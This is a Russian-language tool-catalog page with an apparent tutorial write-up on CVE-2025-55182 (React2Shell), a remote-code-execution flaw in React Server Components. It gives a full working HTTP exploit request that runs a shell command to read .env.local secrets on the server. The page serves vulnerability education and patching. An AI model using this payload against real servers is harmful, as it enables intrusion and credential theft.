Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2ShellPoC — Этот репозиторий содержит доказательство концепции для CVE-2025-55182 (React2Shell), уязвимости удаленного выполнения кода в React Server Components. Он демонстрирует, как работает эксплойт, включая полезную нагрузку и воздействие. | Kitploit
Инструменты/GitHubGitHub/git0xlai/react2shellpoc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Этот репозиторий содержит доказательство концепции для CVE-2025-55182 (React2Shell), уязвимости удаленного выполнения кода в React Server Components. Он демонстрирует, как работает эксплойт, включая полезную нагрузку и воздействие.

Репозиторий
18 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Понимание CVE-2025-55182 (React2Shell): Глубокое погружение в удаленное выполнение кода через React Server Components

Обзор

CVE-2025-55182, также известная как React2Shell, представляет собой критическую уязвимость удаленного выполнения кода (RCE), затрагивающую React Server Components. Эта ошибка позволяет неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых серверах, используя проблему небезопасной десериализации в Flight protocol от React.

Учитывая его оценку CVSS 10.0, эта уязвимость является крайне серьезной и требует немедленного внимания. В этой статье я проведу вас через детали уязвимости, механизм эксплуатации и предоставлю демонстрацию proof-of-concept (PoC). Давайте погрузимся.

Затронутые версии

Следующие версии React Server Components и связанных пакетов уязвимы:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Затронутые пакеты:

    • react-server-dom-parcel

    • react-server-dom-turbopack

  • react-server-dom-webpack

  • Что такое React и React Server Components?

    React.js — одна из самых популярных JavaScript-библиотек для создания пользовательских интерфейсов, особенно в контексте одностраничных приложений (SPA). Она позволяет разработчикам создавать динамические и интерактивные пользовательские интерфейсы.

    React Server Components (RSC) — это экспериментальная функция, позволяющая рендерить некоторые части React-приложения на сервере, а не на клиенте. Это уменьшает объем JavaScript, необходимого на стороне клиента, и улучшает производительность, особенно в больших приложениях.

    Однако RSC вносит новые сложности, особенно в том, как данные передаются между сервером и клиентом. CVE-2025-55182 использует одну из таких проблем в Flight protocol, который используется в RSC для передачи данных между сервером и клиентом.


    Уязвимость

    Краткое описание уязвимости

    CVE-2025-55182 возникает из-за небезопасной десериализации в Flight protocol от React. Десериализация — это процесс преобразования сериализованных данных (обычно JSON) в объект в памяти. React использует этот процесс для обработки данных, которыми обмениваются сервер и клиент во время серверного рендеринга. Однако реализация десериализации в React небезопасна. В частности, React использует скобочную нотацию для доступа к свойствам объектов (например, moduleExports[metadata[2]]), что позволяет злоумышленникам манипулировать цепочкой прототипов объектов JavaScript. Это приводит к загрязнению прототипа и открывает возможность изменять свойства объектов неожиданными способами, позволяя злоумышленникам использовать логику десериализации.

    Коренная причина

    Корень уязвимости кроется в том, как React обрабатывает полезные нагрузки Flight protocol. Использование скобочной нотации для доступа к свойствам позволяет злоумышленникам перемещаться по цепочке прототипов, давая им доступ к свойствам, которые обычно не должны быть доступны, таким как constructor. Манипулируя этим свойством, злоумышленники могут получить доступ к глобальному конструктору Function и выполнить произвольный JavaScript-код на сервере.

    Как работает эксплойт

    Эксплойт работает путем отправки специально созданной полезной нагрузки на сервер, которая манипулирует логикой десериализации Flight protocol. Комбинируя загрязнение прототипа и небезопасную десериализацию, злоумышленник может получить контроль над сервером и выполнить произвольный код. Ключевые компоненты атаки включают:

    1. Загрязнение прототипа: Злоумышленник манипулирует цепочкой прототипов объекта для внедрения новых свойств, включая свойства constructor и Function.

    2. Выполнение полезной нагрузки: Как только злоумышленник получает доступ к конструктору Function, он может выполнить произвольный JavaScript-код, например, чтение файлов или выполнение системных команд.


    Пошаговая эксплуатация

    Настройка уязвимой среды

    Чтобы протестировать эксплойт, вам понадобится уязвимая среда React. Вот как ее настроить:

    1. Создайте уязвимый проект
      Сначала создайте новый проект Next.js с уязвимой версией React Server Components:

      • npx [email protected] poc-react2shell cd poc-react2shell

      Альтернативно вы можете использовать предварительно настроенный GitHub репозиторий, который уже содержит уязвимую настройку.

    2. Создайте файл тестовой среды
      В корневом каталоге вашего проекта создайте файл .env.local, содержащий конфиденциальные данные, например API-ключи. Злоумышленник будет нацеливаться на этот файл в PoC:

      • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    3. Запустите сервер разработки
      Запустите сервер разработки:

      1. npm run dev

      Уязвимый сервер теперь должен быть запущен по адресу http://localhost:3000.


    Шаги эксплуатации

    Как только ваша среда готова, вы можете отправить вредоносную полезную нагрузку, чтобы запустить эксплойт. Здесь пригодится Burp Suite или любой другой HTTP-прокси.

    1. Отправьте вредоносную полезную нагрузку
      Откройте Burp Suite и перейдите на вкладку Repeater. Установите целевой URL http://localhost:3000/ и отправьте следующую вредоносную полезную нагрузку:

    2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

    3. Проанализируйте ответ
      После отправки запроса, если эксплойт сработает, сервер ответит содержимым вашего файла .env.local (или любых конфиденциальных данных в переменных окружения). Это подтверждает доступ злоумышленника к конфиденциальным данным. Response


    Объяснение вредоносной полезной нагрузки

    Разбор заголовков

    1. Host: Указывает целевой сервер (localhost:3000).

    2. User-Agent: Идентифицирует клиента, отправляющего запрос. Строка обычно берется из браузера, но здесь она может быть создана для маскировки атаки.

    3. Next-Action: Вероятно, часть обработки Next.js, может сбить с толку сервер или взаимодействовать с процессом десериализации.

    4. X-Nextjs-Request-Id: Уникальный идентификатор запроса для отслеживания и отладки в Next.js.

    5. Content-Type: Многочастные данные формы, используемые для структурированных данных, таких как JSON или загрузка файлов.

    6. Content-Length: Указывает длину тела запроса.

    Поля multipart

    • Поле 0: Содержит полезную нагрузку, которая запускает загрязнение прототипа. Она изменяет прототип объекта, добавляет новое свойство then и включает вредоносный объект _response. _prefix запускает команду child_process для чтения файла .env.local.

    • Поле 1: Ссылается на Поле 0, чтобы распространить атаку.

    • Поле 2: Пустой массив, гарантирующий, что структура полезной нагрузки остается нетронутой.


    Воздействие уязвимости

    Уязвимость CVE-2025-55182 позволяет злоумышленникам:

    1. Выполнять произвольный код на сервере.

    2. Читать конфиденциальные файлы, такие как API-ключи и файлы конфигурации.

    3. Устанавливать обратные оболочки, потенциально получая полный контроль над сервером.

    4. Извлекать конфиденциальные данные с сервера.


    Заключение

    CVE-2025-55182 (React2Shell) — это критическая уязвимость в React Server Components, которая позволяет неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых серверах. Используя небезопасную десериализацию и загрязнение прототипа, злоумышленники могут получить полный контроль над сервером, читать конфиденциальные данные и выполнять вредоносные команды.

    Если вы используете React Server Components, крайне важно обновиться до последних исправленных версий, чтобы смягчить эту уязвимость. Соблюдение лучших практик безопасности, таких как проверка входных данных и правильная обработка десериализации, необходимо для предотвращения подобных уязвимостей.

    Ссылки


    • CVE-2025-55182 Details
    • Next.js-RSC-RCE-Scanner-CVE-2025-66478
    • PoC [kOaDT]
    • react2shellcve202555182

    Отказ от ответственности

    Эта концепция предназначена исключительно для образовательных и исследовательских целей. Не пытайтесь эксплуатировать или тестировать уязвимости на любой системе без явного письменного согласия владельца системы. Несанкционированное тестирование может быть незаконным и неэтичным. Всегда придерживайтесь законных и ответственных практик в области кибербезопасности.

    Скачать инструмент